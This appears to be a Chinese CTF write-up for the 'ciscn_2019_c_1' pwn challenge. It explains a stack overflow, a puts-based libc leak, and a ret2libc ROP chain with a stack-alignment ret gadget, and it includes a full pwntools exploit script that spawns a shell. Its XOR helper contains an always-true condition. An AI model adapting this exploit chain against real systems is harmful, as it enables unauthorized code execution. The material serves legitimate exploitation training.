题目信息

64位elf,开了NX

分析

大概就是这样一个加解密程序,读取输入选择功能,encrypt读取用户输入,decrypt不可用

可以看出encrypt读取输入明显的溢出:

题目没有system和sh所以需要构造ROP。并且没有给出libc文件,但存在puts函数,可以用于leak。

所以就是leak出函数地址,确定libc,之后构造ROP

exploit

encrypt

64位,puts函数一个参数,需要rdi寄存器的gadget,并且需要返回到开始位置:

另外因为输入会经过encrypt,异或处理,所以二次异或会还原,即输入的payload要先经过一次处理:

1
2
3
4
5
6
7
8
9
10
11
12
def dd(enc):
res = ''
for i in range(len(enc)):
if ord(enc[i]) <= 96 or ord(enc[i]) > 122:
if ord(enc[i]) <= 64 or ord(enc[i]) > 90:
if ord(enc[i]) > 47 or ord(enc[i]) <= 57:
res += chr(ord(enc[i]) ^ 0xf)
else:
res += chr(ord(enc[i]) ^ 0xe)
else:
res += chr(ord(enc[i]) ^ 0xd)
return res

然后gdb对pattern处理可以算出偏移为88:

不过实际打的时候不需要处理

几个坑

exp很简单的,但有几个坑

leak那里用puts不用gets,原因是gets匹配出的结果太多了

然后,现在线上环境是18版本,直接拿网上流传的那些打的话会失败,因为那些是针对16版本的

如果gdb attach跟一下的话,会发现是正常走到了system步骤,但之后会报这样一个错误:

直接根据报错信息,能够搜到这篇文章:

在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客
http://blog.eonew.cn/archives/958

自己跟进去的话,能够看到确实是栈没对齐,那很简单,多加个ret对齐,再找个ret的gadget就可以:

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

sh = process('./ciscn_2019_c_1')
# sh = remote('node3.buuoj.cn', 28271)
elf = ELF('./ciscn_2019_c_1')
# context.log_level = 'debug'

# start = 0x400B28
start = elf.sym['main']
rdi_addr = 0x0000000000400c83

puts_plt = elf.plt['puts']
gets_got = elf.got['gets']
puts_got = elf.got['puts']

log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
log.success('puts_got => {}'.format(hex(puts_got)))

sh.sendlineafter('choice!\n', '1')

payload1 = 'a' * 88
payload1 += p64(rdi_addr) + p64(puts_got) + p64(puts_plt)
payload1 += p64(start)

# payload1 = dd(payload1)
sh.sendline(payload1)
gdb.attach(sh)

sh.recvuntil('@')
sh.recvline()

puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts_leak_addr => {}'.format(hex(puts_leak)))

libc = LibcSearcher('puts', puts_leak)
libc_base = puts_leak - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))

sh.sendlineafter('choice!\n', '1')

payload2 = 'a' * 88
payload2 += p64(0x4006b9) # add ret
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)

sh.sendline(payload2)

sh.interactive()